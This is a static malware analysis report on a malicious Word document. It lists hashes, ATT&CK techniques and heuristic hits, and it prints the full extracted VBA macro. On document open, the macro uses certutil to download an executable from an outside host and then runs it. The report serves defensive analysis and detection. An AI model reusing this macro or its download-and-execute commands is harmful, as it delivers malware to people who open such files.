Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 afe7cef77044695a…

MALICIOUS

Office (OLE)

33.0 KB Created: 2019-04-17 01:28:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 96dc59302be4ab9e63ae68bbc3eaacd8 SHA-1: 0a13487e1c5163a149f02df3893221ea42acb123 SHA-256: afe7cef77044695a220cec44ea83267f5612d3a5c7463e3955a37bfa616bfb3a
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File T1566.001 Spearphishing Attachment

The Document_Open VBA macro is designed to download a second-stage payload from the URL http://alobitanbd.com/css/Mrx325.exe using certutil.exe. It then executes the downloaded file. The macro also attempts to establish persistence by writing to the Run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy. The use of certutil for downloading and executing a payload, along with the presence of a Document_Open macro, strongly suggests a malicious document.

Heuristics 10

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    gj = pdjgqsd.ParentWindow.clipboardData.setData("Text", "")
    Shell (trfutyjnih)
    End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    ClipboardText = pdjgqsd.ParentWindow.clipboardData.GetData("text")
    eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False
    rthybfhd (60)
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    gj = pdjgqsd.ParentWindow.clipboardData.setData("Text", "")
    Shell (trfutyjnih)
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\filename.bbc", "bbc", "exe")
    Set pdjgqsd = CreateObject("htmlfile")
    ff = pdjgqsd.ParentWindow.clipboardData.setData("Text", hh)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open()
    fb = Replace(("http://alobitanbd.com/css/Mrx325.bbc"), "bbc", "exe")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    hh = Replace(fb, "qsohf", "https://")
    trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\filename.bbc", "bbc", "exe")
    Set pdjgqsd = CreateObject("htmlfile")
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://alobitanbd.com/css/Mrx325.bbc Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1083 bytes
SHA-256: 79f16ed5e4b6c3145656d9d72bfb59a2d762144c1d63306dd1b6da28bffeb57a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
fb = Replace(("http://alobitanbd.com/css/Mrx325.bbc"), "bbc", "exe")
hh = Replace(fb, "qsohf", "https://")
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\filename.bbc", "bbc", "exe")
Set pdjgqsd = CreateObject("htmlfile")
ff = pdjgqsd.ParentWindow.clipboardData.setData("Text", hh)
ClipboardText = pdjgqsd.ParentWindow.clipboardData.GetData("text")
eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False
rthybfhd (60)
gj = pdjgqsd.ParentWindow.clipboardData.setData("Text", "")
Shell (trfutyjnih)
End Sub
Sub rthybfhd(sec)
    Dim temp
    temp = Timer
    Do While Timer - temp < sec
    Loop
End Sub



Attribute VB_Name = "NewMacros"
Sub test1()
'
' test1 Macro
'
'

End Sub